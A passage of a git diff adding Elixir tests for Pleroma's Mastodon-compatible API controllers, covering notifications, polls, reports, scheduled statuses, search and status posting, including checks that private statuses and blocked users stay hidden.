{:ok, _user_relationships} = User.mute(user, user2) + + conn = get(conn, "/api/v1/notifications") + + assert json_response_and_validate_schema(conn, 200) == [] + end + + test "see notifications after muting user without notifications" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + user2 = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(user, user2) + {:ok, _} = CommonAPI.post(user2, %{status: "hey @#{user.nickname}"}) + + ret_conn = get(conn, "/api/v1/notifications") + + assert length(json_response_and_validate_schema(ret_conn, 200)) == 1 + + {:ok, _user_relationships} = User.mute(user, user2, false) + + conn = get(conn, "/api/v1/notifications") + + assert length(json_response_and_validate_schema(conn, 200)) == 1 + end + + test "see notifications after muting user with notifications and with_muted parameter" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + user2 = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(user, user2) + {:ok, _} = CommonAPI.post(user2, %{status: "hey @#{user.nickname}"}) + + ret_conn = get(conn, "/api/v1/notifications") + + assert length(json_response_and_validate_schema(ret_conn, 200)) == 1 + + {:ok, _user_relationships} = User.mute(user, user2) + + conn = get(conn, "/api/v1/notifications?with_muted=true") + + assert length(json_response_and_validate_schema(conn, 200)) == 1 + end + + @tag capture_log: true + test "see move notifications" do + old_user = insert(:user) + new_user = insert(:user, also_known_as: [old_user.ap_id]) + %{user: follower, conn: conn} = oauth_access(["read:notifications"]) + + old_user_url = old_user.ap_id + + body = + File.read!("test/fixtures/users_mock/localhost.json") + |> String.replace("{{nickname}}", old_user.nickname) + |> Jason.encode!() + + Tesla.Mock.mock(fn + %{method: :get, url: ^old_user_url} -> + %Tesla.Env{status: 200, body: body} + end) + + User.follow(follower, old_user) + Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user) + Pleroma.Tests.ObanHelpers.perform_all() + + conn = get(conn, "/api/v1/notifications") + + assert length(json_response_and_validate_schema(conn, 200)) == 1 + end + + describe "link headers" do + test "preserves parameters in link headers" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, activity1} = + CommonAPI.post(other_user, %{ + status: "hi @#{user.nickname}", + visibility: "public" + }) + + {:ok, activity2} = + CommonAPI.post(other_user, %{ + status: "hi @#{user.nickname}", + visibility: "public" + }) + + notification1 = Repo.get_by(Notification, activity_id: activity1.id) + notification2 = Repo.get_by(Notification, activity_id: activity2.id) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/notifications?limit=5") + + assert [link_header] = get_resp_header(conn, "link") + assert link_header =~ ~r/limit=5/ + assert link_header =~ ~r/min_id=#{notification2.id}/ + assert link_header =~ ~r/max_id=#{notification1.id}/ + end + end + + describe "from specified user" do + test "account_id" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + + %{id: account_id} = other_user1 = insert(:user) + other_user2 = insert(:user) + + {:ok, _activity} = CommonAPI.post(other_user1, %{status: "hi @#{user.nickname}"}) + {:ok, _activity} = CommonAPI.post(other_user2, %{status: "bye @#{user.nickname}"}) + + assert [%{"account" => %{"id" => ^account_id}}] = + conn + |> assign(:user, user) + |> get("/api/v1/notifications?account_id=#{account_id}") + |> json_response_and_validate_schema(200) + + assert %{"error" => "Account is not found"} = + conn + |> assign(:user, user) + |> get("/api/v1/notifications?account_id=cofe") + |> json_response_and_validate_schema(404) + end + end + + defp get_notification_id_by_activity(%{id: id}) do + Notification + |> Repo.get_by(activity_id: id) + |> Map.get(:id) + |> to_string() + end + + defp params_to_query(%{} = params) do + Enum.map_join(params, "&", fn + {k, v} when is_list(v) -> Enum.map_join(v, "&", &"#{k}[]=#{&1}") + {k, v} -> k <> "=" <> v + end) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/poll_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/poll_controller_test.exs new file mode 100644 index 000000000..f41de6448 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/poll_controller_test.exs @@ -0,0 +1,171 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.PollControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "GET /api/v1/polls/:id" do + setup do: oauth_access(["read:statuses"]) + + test "returns poll entity for object id", %{user: user, conn: conn} do + {:ok, activity} = + CommonAPI.post(user, %{ + status: "Pleroma does", + poll: %{options: ["what Mastodon't", "n't what Mastodoes"], expires_in: 20} + }) + + object = Object.normalize(activity) + + conn = get(conn, "/api/v1/polls/#{object.id}") + + response = json_response_and_validate_schema(conn, 200) + id = to_string(object.id) + assert %{"id" => ^id, "expired" => false, "multiple" => false} = response + end + + test "does not expose polls for private statuses", %{conn: conn} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(other_user, %{ + status: "Pleroma does", + poll: %{options: ["what Mastodon't", "n't what Mastodoes"], expires_in: 20}, + visibility: "private" + }) + + object = Object.normalize(activity) + + conn = get(conn, "/api/v1/polls/#{object.id}") + + assert json_response_and_validate_schema(conn, 404) + end + end + + describe "POST /api/v1/polls/:id/votes" do + setup do: oauth_access(["write:statuses"]) + + test "votes are added to the poll", %{conn: conn} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(other_user, %{ + status: "A very delicious sandwich", + poll: %{ + options: ["Lettuce", "Grilled Bacon", "Tomato"], + expires_in: 20, + multiple: true + } + }) + + object = Object.normalize(activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0, 1, 2]}) + + assert json_response_and_validate_schema(conn, 200) + object = Object.get_by_id(object.id) + + assert Enum.all?(object.data["anyOf"], fn %{"replies" => %{"totalItems" => total_items}} -> + total_items == 1 + end) + end + + test "author can't vote", %{user: user, conn: conn} do + {:ok, activity} = + CommonAPI.post(user, %{ + status: "Am I cute?", + poll: %{options: ["Yes", "No"], expires_in: 20} + }) + + object = Object.normalize(activity) + + assert conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [1]}) + |> json_response_and_validate_schema(422) == %{"error" => "Poll's author can't vote"} + + object = Object.get_by_id(object.id) + + refute Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 1 + end + + test "does not allow multiple choices on a single-choice question", %{conn: conn} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(other_user, %{ + status: "The glass is", + poll: %{options: ["half empty", "half full"], expires_in: 20} + }) + + object = Object.normalize(activity) + + assert conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0, 1]}) + |> json_response_and_validate_schema(422) == %{"error" => "Too many choices"} + + object = Object.get_by_id(object.id) + + refute Enum.any?(object.data["oneOf"], fn %{"replies" => %{"totalItems" => total_items}} -> + total_items == 1 + end) + end + + test "does not allow choice index to be greater than options count", %{conn: conn} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(other_user, %{ + status: "Am I cute?", + poll: %{options: ["Yes", "No"], expires_in: 20} + }) + + object = Object.normalize(activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [2]}) + + assert json_response_and_validate_schema(conn, 422) == %{"error" => "Invalid indices"} + end + + test "returns 404 error when object is not exist", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/polls/1/votes", %{"choices" => [0]}) + + assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} + end + + test "returns 404 when poll is private and not available for user", %{conn: conn} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(other_user, %{ + status: "Am I cute?", + poll: %{options: ["Yes", "No"], expires_in: 20}, + visibility: "private" + }) + + object = Object.normalize(activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0]}) + + assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/report_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/report_controller_test.exs new file mode 100644 index 000000000..6636cff96 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/report_controller_test.exs @@ -0,0 +1,95 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ReportControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup do: oauth_access(["write:reports"]) + + setup do + target_user = insert(:user) + + {:ok, activity} = CommonAPI.post(target_user, %{status: "foobar"}) + + [target_user: target_user, activity: activity] + end + + test "submit a basic report", %{conn: conn, target_user: target_user} do + assert %{"action_taken" => false, "id" => _} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/reports", %{"account_id" => target_user.id}) + |> json_response_and_validate_schema(200) + end + + test "submit a report with statuses and comment", %{ + conn: conn, + target_user: target_user, + activity: activity + } do + assert %{"action_taken" => false, "id" => _} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/reports", %{ + "account_id" => target_user.id, + "status_ids" => [activity.id], + "comment" => "bad status!", + "forward" => "false" + }) + |> json_response_and_validate_schema(200) + end + + test "account_id is required", %{ + conn: conn, + activity: activity + } do + assert %{"error" => "Missing field: account_id."} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/reports", %{"status_ids" => [activity.id]}) + |> json_response_and_validate_schema(400) + end + + test "comment must be up to the size specified in the config", %{ + conn: conn, + target_user: target_user + } do + max_size = Pleroma.Config.get([:instance, :max_report_comment_size], 1000) + comment = String.pad_trailing("a", max_size + 1, "a") + + error = %{"error" => "Comment must be up to #{max_size} characters"} + + assert ^error = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/reports", %{"account_id" => target_user.id, "comment" => comment}) + |> json_response_and_validate_schema(400) + end + + test "returns error when account is not exist", %{ + conn: conn, + activity: activity + } do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/reports", %{"status_ids" => [activity.id], "account_id" => "foo"}) + + assert json_response_and_validate_schema(conn, 400) == %{"error" => "Account not found"} + end + + test "doesn't fail if an admin has no email", %{conn: conn, target_user: target_user} do + insert(:user, %{is_admin: true, email: nil}) + + assert %{"action_taken" => false, "id" => _} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/reports", %{"account_id" => target_user.id}) + |> json_response_and_validate_schema(200) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/scheduled_activity_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/scheduled_activity_controller_test.exs new file mode 100644 index 000000000..1ff871c89 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/scheduled_activity_controller_test.exs @@ -0,0 +1,139 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ScheduledActivityControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Repo + alias Pleroma.ScheduledActivity + + import Pleroma.Factory + import Ecto.Query + + setup do: clear_config([ScheduledActivity, :enabled]) + + test "shows scheduled activities" do + %{user: user, conn: conn} = oauth_access(["read:statuses"]) + + scheduled_activity_id1 = insert(:scheduled_activity, user: user).id |> to_string() + scheduled_activity_id2 = insert(:scheduled_activity, user: user).id |> to_string() + scheduled_activity_id3 = insert(:scheduled_activity, user: user).id |> to_string() + scheduled_activity_id4 = insert(:scheduled_activity, user: user).id |> to_string() + + # min_id + conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&min_id=#{scheduled_activity_id1}") + + result = json_response_and_validate_schema(conn_res, 200) + assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result + + # since_id + conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&since_id=#{scheduled_activity_id1}") + + result = json_response_and_validate_schema(conn_res, 200) + assert [%{"id" => ^scheduled_activity_id4}, %{"id" => ^scheduled_activity_id3}] = result + + # max_id + conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&max_id=#{scheduled_activity_id4}") + + result = json_response_and_validate_schema(conn_res, 200) + assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result + end + + test "shows a scheduled activity" do + %{user: user, conn: conn} = oauth_access(["read:statuses"]) + scheduled_activity = insert(:scheduled_activity, user: user) + + res_conn = get(conn, "/api/v1/scheduled_statuses/#{scheduled_activity.id}") + + assert %{"id" => scheduled_activity_id} = json_response_and_validate_schema(res_conn, 200) + assert scheduled_activity_id == scheduled_activity.id |> to_string() + + res_conn = get(conn, "/api/v1/scheduled_statuses/404") + + assert %{"error" => "Record not found"} = json_response_and_validate_schema(res_conn, 404) + end + + test "updates a scheduled activity" do + Pleroma.Config.put([ScheduledActivity, :enabled], true) + %{user: user, conn: conn} = oauth_access(["write:statuses"]) + + scheduled_at = Timex.shift(NaiveDateTime.utc_now(), minutes: 60) + + {:ok, scheduled_activity} = + ScheduledActivity.create( + user, + %{ + scheduled_at: scheduled_at, + params: build(:note).data + } + ) + + job = Repo.one(from(j in Oban.Job, where: j.queue == "scheduled_activities")) + + assert job.args == %{"activity_id" => scheduled_activity.id} + assert DateTime.truncate(job.scheduled_at, :second) == to_datetime(scheduled_at) + + new_scheduled_at = + NaiveDateTime.utc_now() + |> Timex.shift(minutes: 120) + |> Timex.format!("%Y-%m-%dT%H:%M:%S.%fZ", :strftime) + + res_conn = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/v1/scheduled_statuses/#{scheduled_activity.id}", %{ + scheduled_at: new_scheduled_at + }) + + assert %{"scheduled_at" => expected_scheduled_at} = + json_response_and_validate_schema(res_conn, 200) + + assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(new_scheduled_at) + job = refresh_record(job) + + assert DateTime.truncate(job.scheduled_at, :second) == to_datetime(new_scheduled_at) + + res_conn = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/v1/scheduled_statuses/404", %{scheduled_at: new_scheduled_at}) + + assert %{"error" => "Record not found"} = json_response_and_validate_schema(res_conn, 404) + end + + test "deletes a scheduled activity" do + Pleroma.Config.put([ScheduledActivity, :enabled], true) + %{user: user, conn: conn} = oauth_access(["write:statuses"]) + scheduled_at = Timex.shift(NaiveDateTime.utc_now(), minutes: 60) + + {:ok, scheduled_activity} = + ScheduledActivity.create( + user, + %{ + scheduled_at: scheduled_at, + params: build(:note).data + } + ) + + job = Repo.one(from(j in Oban.Job, where: j.queue == "scheduled_activities")) + + assert job.args == %{"activity_id" => scheduled_activity.id} + + res_conn = + conn + |> assign(:user, user) + |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") + + assert %{} = json_response_and_validate_schema(res_conn, 200) + refute Repo.get(ScheduledActivity, scheduled_activity.id) + refute Repo.get(Oban.Job, job.id) + + res_conn = + conn + |> assign(:user, user) + |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") + + assert %{"error" => "Record not found"} = json_response_and_validate_schema(res_conn, 404) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/search_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/search_controller_test.exs new file mode 100644 index 000000000..04dc6f445 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/search_controller_test.exs @@ -0,0 +1,413 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.SearchControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Object + alias Pleroma.Web + alias Pleroma.Web.CommonAPI + import Pleroma.Factory + import ExUnit.CaptureLog + import Tesla.Mock + import Mock + + setup_all do + mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe ".search2" do + test "it returns empty result if user or status search return undefined error", %{conn: conn} do + with_mocks [ + {Pleroma.User, [], [search: fn _q, _o -> raise "Oops" end]}, + {Pleroma.Activity, [], [search: fn _u, _q, _o -> raise "Oops" end]} + ] do + capture_log(fn -> + results = + conn + |> get("/api/v2/search?q=2hu") + |> json_response_and_validate_schema(200) + + assert results["accounts"] == [] + assert results["statuses"] == [] + end) =~ + "[error] Elixir.Pleroma.Web.MastodonAPI.SearchController search error: %RuntimeError{message: \"Oops\"}" + end + end + + test "search", %{conn: conn} do + user = insert(:user) + user_two = insert(:user, %{nickname: "shp@shitposter.club"}) + user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) + + {:ok, activity} = CommonAPI.post(user, %{status: "This is about 2hu private 天子"}) + + {:ok, _activity} = + CommonAPI.post(user, %{ + status: "This is about 2hu, but private", + visibility: "private" + }) + + {:ok, _} = CommonAPI.post(user_two, %{status: "This isn't"}) + + results = + conn + |> get("/api/v2/search?#{URI.encode_query(%{q: "2hu #private"})}") + |> json_response_and_validate_schema(200) + + [account | _] = results["accounts"] + assert account["id"] == to_string(user_three.id) + + assert results["hashtags"] == [ + %{"name" => "private", "url" => "#{Web.base_url()}/tag/private"} + ] + + [status] = results["statuses"] + assert status["id"] == to_string(activity.id) + + results = + get(conn, "/api/v2/search?q=天子") + |> json_response_and_validate_schema(200) + + assert results["hashtags"] == [ + %{"name" => "天子", "url" => "#{Web.base_url()}/tag/天子"} + ] + + [status] = results["statuses"] + assert status["id"] == to_string(activity.id) + end + + @tag capture_log: true + test "constructs hashtags from search query", %{conn: conn} do + results = + conn + |> get("/api/v2/search?#{URI.encode_query(%{q: "some text with #explicit #hashtags"})}") + |> json_response_and_validate_schema(200) + + assert results["hashtags"] == [ + %{"name" => "explicit", "url" => "#{Web.base_url()}/tag/explicit"}, + %{"name" => "hashtags", "url" => "#{Web.base_url()}/tag/hashtags"} + ] + + results = + conn + |> get("/api/v2/search?#{URI.encode_query(%{q: "john doe JOHN DOE"})}") + |> json_response_and_validate_schema(200) + + assert results["hashtags"] == [ + %{"name" => "john", "url" => "#{Web.base_url()}/tag/john"}, + %{"name" => "doe", "url" => "#{Web.base_url()}/tag/doe"}, + %{"name" => "JohnDoe", "url" => "#{Web.base_url()}/tag/JohnDoe"} + ] + + results = + conn + |> get("/api/v2/search?#{URI.encode_query(%{q: "accident-prone"})}") + |> json_response_and_validate_schema(200) + + assert results["hashtags"] == [ + %{"name" => "accident", "url" => "#{Web.base_url()}/tag/accident"}, + %{"name" => "prone", "url" => "#{Web.base_url()}/tag/prone"}, + %{"name" => "AccidentProne", "url" => "#{Web.base_url()}/tag/AccidentProne"} + ] + + results = + conn + |> get("/api/v2/search?#{URI.encode_query(%{q: "https://shpposter.club/users/shpuld"})}") + |> json_response_and_validate_schema(200) + + assert results["hashtags"] == [ + %{"name" => "shpuld", "url" => "#{Web.base_url()}/tag/shpuld"} + ] + + results = + conn + |> get( + "/api/v2/search?#{ + URI.encode_query(%{ + q: + "https://www.washingtonpost.com/sports/2020/06/10/" <> + "nascar-ban-display-confederate-flag-all-events-properties/" + }) + }" + ) + |> json_response_and_validate_schema(200) + + assert results["hashtags"] == [ + %{"name" => "nascar", "url" => "#{Web.base_url()}/tag/nascar"}, + %{"name" => "ban", "url" => "#{Web.base_url()}/tag/ban"}, + %{"name" => "display", "url" => "#{Web.base_url()}/tag/display"}, + %{"name" => "confederate", "url" => "#{Web.base_url()}/tag/confederate"}, + %{"name" => "flag", "url" => "#{Web.base_url()}/tag/flag"}, + %{"name" => "all", "url" => "#{Web.base_url()}/tag/all"}, + %{"name" => "events", "url" => "#{Web.base_url()}/tag/events"}, + %{"name" => "properties", "url" => "#{Web.base_url()}/tag/properties"}, + %{ + "name" => "NascarBanDisplayConfederateFlagAllEventsProperties", + "url" => + "#{Web.base_url()}/tag/NascarBanDisplayConfederateFlagAllEventsProperties" + } + ] + end + + test "supports pagination of hashtags search results", %{conn: conn} do + results = + conn + |> get( + "/api/v2/search?#{ + URI.encode_query(%{q: "#some #text #with #hashtags", limit: 2, offset: 1}) + }" + ) + |> json_response_and_validate_schema(200) + + assert results["hashtags"] == [ + %{"name" => "text", "url" => "#{Web.base_url()}/tag/text"}, + %{"name" => "with", "url" => "#{Web.base_url()}/tag/with"} + ] + end + + test "excludes a blocked users from search results", %{conn: conn} do + user = insert(:user) + user_smith = insert(:user, %{nickname: "Agent", name: "I love 2hu"}) + user_neo = insert(:user, %{nickname: "Agent Neo", name: "Agent"}) + + {:ok, act1} = CommonAPI.post(user, %{status: "This is about 2hu private 天子"}) + {:ok, act2} = CommonAPI.post(user_smith, %{status: "Agent Smith"}) + {:ok, act3} = CommonAPI.post(user_neo, %{status: "Agent Smith"}) + Pleroma.User.block(user, user_smith) + + results = + conn + |> assign(:user, user) + |> assign(:token, insert(:oauth_token, user: user, scopes: ["read"])) + |> get("/api/v2/search?q=Agent") + |> json_response_and_validate_schema(200) + + status_ids = Enum.map(results["statuses"], fn g -> g["id"] end) + + assert act3.id in status_ids + refute act2.id in status_ids + refute act1.id in status_ids + end + end + + describe ".account_search" do + test "account search", %{conn: conn} do + user_two = insert(:user, %{nickname: "shp@shitposter.club"}) + user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) + + results = + conn + |> get("/api/v1/accounts/search?q=shp") + |> json_response_and_validate_schema(200) + + result_ids = for result <- results, do: result["acct"] + + assert user_two.nickname in result_ids + assert user_three.nickname in result_ids + + results = + conn + |> get("/api/v1/accounts/search?q=2hu") + |> json_response_and_validate_schema(200) + + result_ids = for result <- results, do: result["acct"] + + assert user_three.nickname in result_ids + end + + test "returns account if query contains a space", %{conn: conn} do + insert(:user, %{nickname: "shp@shitposter.club"}) + + results = + conn + |> get("/api/v1/accounts/search?q=shp@shitposter.club xxx") + |> json_response_and_validate_schema(200) + + assert length(results) == 1 + end + end + + describe ".search" do + test "it returns empty result if user or status search return undefined error", %{conn: conn} do + with_mocks [ + {Pleroma.User, [], [search: fn _q, _o -> raise "Oops" end]}, + {Pleroma.Activity, [], [search: fn _u, _q, _o -> raise "Oops" end]} + ] do + capture_log(fn -> + results = + conn + |> get("/api/v1/search?q=2hu") + |> json_response_and_validate_schema(200) + + assert results["accounts"] == [] + assert results["statuses"] == [] + end) =~ + "[error] Elixir.Pleroma.Web.MastodonAPI.SearchController search error: %RuntimeError{message: \"Oops\"}" + end + end + + test "search", %{conn: conn} do + user = insert(:user) + user_two = insert(:user, %{nickname: "shp@shitposter.club"}) + user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) + + {:ok, activity} = CommonAPI.post(user, %{status: "This is about 2hu"}) + + {:ok, _activity} = + CommonAPI.post(user, %{ + status: "This is about 2hu, but private", + visibility: "private" + }) + + {:ok, _} = CommonAPI.post(user_two, %{status: "This isn't"}) + + results = + conn + |> get("/api/v1/search?q=2hu") + |> json_response_and_validate_schema(200) + + [account | _] = results["accounts"] + assert account["id"] == to_string(user_three.id) + + assert results["hashtags"] == ["2hu"] + + [status] = results["statuses"] + assert status["id"] == to_string(activity.id) + end + + test "search fetches remote statuses and prefers them over other results", %{conn: conn} do + capture_log(fn -> + {:ok, %{id: activity_id}} = + CommonAPI.post(insert(:user), %{ + status: "check out http://mastodon.example.org/@admin/99541947525187367" + }) + + results = + conn + |> get("/api/v1/search?q=http://mastodon.example.org/@admin/99541947525187367") + |> json_response_and_validate_schema(200) + + assert [ + %{"url" => "http://mastodon.example.org/@admin/99541947525187367"}, + %{"id" => ^activity_id} + ] = results["statuses"] + end) + end + + test "search doesn't show statuses that it shouldn't", %{conn: conn} do + {:ok, activity} = + CommonAPI.post(insert(:user), %{ + status: "This is about 2hu, but private", + visibility: "private" + }) + + capture_log(fn -> + q = Object.normalize(activity).data["id"] + + results = + conn + |> get("/api/v1/search?q=#{q}") + |> json_response_and_validate_schema(200) + + [] = results["statuses"] + end) + end + + test "search fetches remote accounts", %{conn: conn} do + user = insert(:user) + + query = URI.encode_query(%{q: " mike@osada.macgirvin.com ", resolve: true}) + + results = + conn + |> assign(:user, user) + |> assign(:token, insert(:oauth_token, user: user, scopes: ["read"])) + |> get("/api/v1/search?#{query}") + |> json_response_and_validate_schema(200) + + [account] = results["accounts"] + assert account["acct"] == "mike@osada.macgirvin.com" + end + + test "search doesn't fetch remote accounts if resolve is false", %{conn: conn} do + results = + conn + |> get("/api/v1/search?q=mike@osada.macgirvin.com&resolve=false") + |> json_response_and_validate_schema(200) + + assert [] == results["accounts"] + end + + test "search with limit and offset", %{conn: conn} do + user = insert(:user) + _user_two = insert(:user, %{nickname: "shp@shitposter.club"}) + _user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) + + {:ok, _activity1} = CommonAPI.post(user, %{status: "This is about 2hu"}) + {:ok, _activity2} = CommonAPI.post(user, %{status: "This is also about 2hu"}) + + result = + conn + |> get("/api/v1/search?q=2hu&limit=1") + + assert results = json_response_and_validate_schema(result, 200) + assert [%{"id" => activity_id1}] = results["statuses"] + assert [_] = results["accounts"] + + results = + conn + |> get("/api/v1/search?q=2hu&limit=1&offset=1") + |> json_response_and_validate_schema(200) + + assert [%{"id" => activity_id2}] = results["statuses"] + assert [] = results["accounts"] + + assert activity_id1 != activity_id2 + end + + test "search returns results only for the given type", %{conn: conn} do + user = insert(:user) + _user_two = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) + + {:ok, _activity} = CommonAPI.post(user, %{status: "This is about 2hu"}) + + assert %{"statuses" => [_activity], "accounts" => [], "hashtags" => []} = + conn + |> get("/api/v1/search?q=2hu&type=statuses") + |> json_response_and_validate_schema(200) + + assert %{"statuses" => [], "accounts" => [_user_two], "hashtags" => []} = + conn + |> get("/api/v1/search?q=2hu&type=accounts") + |> json_response_and_validate_schema(200) + end + + test "search uses account_id to filter statuses by the author", %{conn: conn} do + user = insert(:user, %{nickname: "shp@shitposter.club"}) + user_two = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) + + {:ok, activity1} = CommonAPI.post(user, %{status: "This is about 2hu"}) + {:ok, activity2} = CommonAPI.post(user_two, %{status: "This is also about 2hu"}) + + results = + conn + |> get("/api/v1/search?q=2hu&account_id=#{user.id}") + |> json_response_and_validate_schema(200) + + assert [%{"id" => activity_id1}] = results["statuses"] + assert activity_id1 == activity1.id + assert [_] = results["accounts"] + + results = + conn + |> get("/api/v1/search?q=2hu&account_id=#{user_two.id}") + |> json_response_and_validate_schema(200) + + assert [%{"id" => activity_id2}] = results["statuses"] + assert activity_id2 == activity2.id + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs new file mode 100644 index 000000000..633a25e50 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs @@ -0,0 +1,1743 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do + use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.Conversation.Participation + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.ScheduledActivity + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup do: clear_config([:instance, :federating]) + setup do: clear_config([:instance, :allow_relay]) + setup do: clear_config([:rich_media, :enabled]) + setup do: clear_config([:mrf, :policies]) + setup do: clear_config([:mrf_keyword, :reject]) + + describe "posting statuses" do + setup do: oauth_access(["write:statuses"]) + + test "posting a status does not increment reblog_count when relaying", %{conn: conn} do + Config.put([:instance, :federating], true) + Config.get([:instance, :allow_relay], true) + + response = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{ + "content_type" => "text/plain", + "source" => "Pleroma FE", + "status" => "Hello world", + "visibility" => "public" + }) + |> json_response_and_validate_schema(200) + + assert response["reblogs_count"] == 0 + ObanHelpers.perform_all() + + response = + conn + |> get("api/v1/statuses/#{response["id"]}", %{}) + |> json_response_and_validate_schema(200) + + assert response["reblogs_count"] == 0 + end + + test "posting a status", %{conn: conn} do + idempotency_key = "Pikachu rocks!" + + conn_one = + conn + |> put_req_header("content-type", "application/json") + |> put_req_header("idempotency-key", idempotency_key) + |> post("/api/v1/statuses", %{ + "status" => "cofe", + "spoiler_text" => "2hu", + "sensitive" => "0" + }) + + {:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key) + # Six hours + assert ttl > :timer.seconds(6 * 60 * 60 - 1) + + assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} = + json_response_and_validate_schema(conn_one, 200) + + assert Activity.get_by_id(id) + + conn_two = + conn + |> put_req_header("content-type", "application/json") + |> put_req_header("idempotency-key", idempotency_key) + |> post("/api/v1/statuses", %{ + "status" => "cofe", + "spoiler_text" => "2hu", + "sensitive" => 0 + }) + + assert %{"id" => second_id} = json_response(conn_two, 200) + assert id == second_id + + conn_three = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "cofe", + "spoiler_text" => "2hu", + "sensitive" => "False" + }) + + assert %{"id" => third_id} = json_response_and_validate_schema(conn_three, 200) + refute id == third_id + + # An activity that will expire: + # 2 hours + expires_in = 2 * 60 * 60 + + expires_at = DateTime.add(DateTime.utc_now(), expires_in) + + conn_four = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{ + "status" => "oolong", + "expires_in" => expires_in + }) + + 